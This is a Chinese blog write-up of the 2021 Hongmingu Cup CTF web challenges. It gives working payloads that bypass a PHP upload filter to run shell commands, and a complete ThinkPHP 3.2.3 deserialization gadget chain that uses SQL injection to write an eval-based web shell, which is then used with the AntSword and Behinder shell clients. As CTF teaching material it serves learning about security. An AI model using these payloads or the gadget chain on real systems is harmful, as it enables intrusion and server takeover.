红明谷杯CTF2021-Web部分

打了一半划水去了,罪过罪过…

0x01 write_shell

代码审计题,题目上来给了源码

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

简单地审计一下,当传入的action=pwd时,显示sandbox目录,当action=upload时,传入data参数的值并经过waf函数过滤,如果没有问题就写入sandbox地址的index.php中

waf函数过滤了一些符号和关键词,因为过滤了php,所以我们用短标签来执行命令<?=**?>

然后过滤了空格,可以用%09绕过,那么payload如下

?action=upload&data=<?=`ls%09/`?>

再cat出flag就行

?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>

0x02 EasyTp

首先根据题目名称应该是thinkphp,我们随便输入一个不存在的路由看看有没有报错

得到了版本v3.2.3,并且这个存在源码泄露,www.zip

看一下控制器,/Application/Home/Controller/IndexController.class.php

应该存在反序列化,找到网上现有的链子

https://f5.pm/go-53579.html

可以利用文件读取读start.sh

FLAG_PATH=/var/www/html/tp3.sql
FLAG_MODE=M_SQL
if [ ${ICQ_FLAG} ];then
    case $FLAG_MODE in
            "M_ECHO")
                        echo -n ${ICQ_FLAG} > ${FLAG_PATH}
                        FILE_MODE=755
                        chmod ${FILE_MODE} ${FLAG_PATH}
                        ;;
             "M_SED")
                        #sed -i "s/flag{x*}/${ICQ_FLAG}/" ${FLAG_PATH}
                        sed -i -r "s/flag\\{.*\\}/${ICQ_FLAG}/" ${FLAG_PATH}
                        ;;
             "M_SQL")
                         sed -i -r "s/flag\\{.*\\}/${ICQ_FLAG}/" ${FLAG_PATH}
                         mysql -uroot -proot < ${FLAG_PATH}
                         rm -f ${FLAG_PATH}
                         ;;
                            *)
                         ;;
           esac
               echo [+] ICQ_FLAG OK\n    unset ICQ_FLAG\nelse\n    echo [!] no ICQ_FLAG\nfi\n

可以发现设置的mysql用户和密码都是root

这里有一个坑,比赛的时候好像大伙密码都是123456,但实际上靶场里密码是root,也符合start.sh文件的设置,非常奇怪…

我们写个shell进去

<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "mysql",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}
 
namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
 
        public function __construct(){
            $this->img = new Memcache();
        }
    }
}
 
namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;
 
        public function __construct(){
            $this->handle = new Model();
        }
    }
}
 
namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;
 
        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=1;select '<?php eval(\$_POST[peco]);?>' into outfile '/var/www/html/peco.php';#",
                "where" => "1=1"
            );
        }
    }
}
 
namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

然后蚁剑连

蚁剑自带的连不上数据库,我们换冰蝎

直接查看依旧看不见,需要导出当前表

参考链接:

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇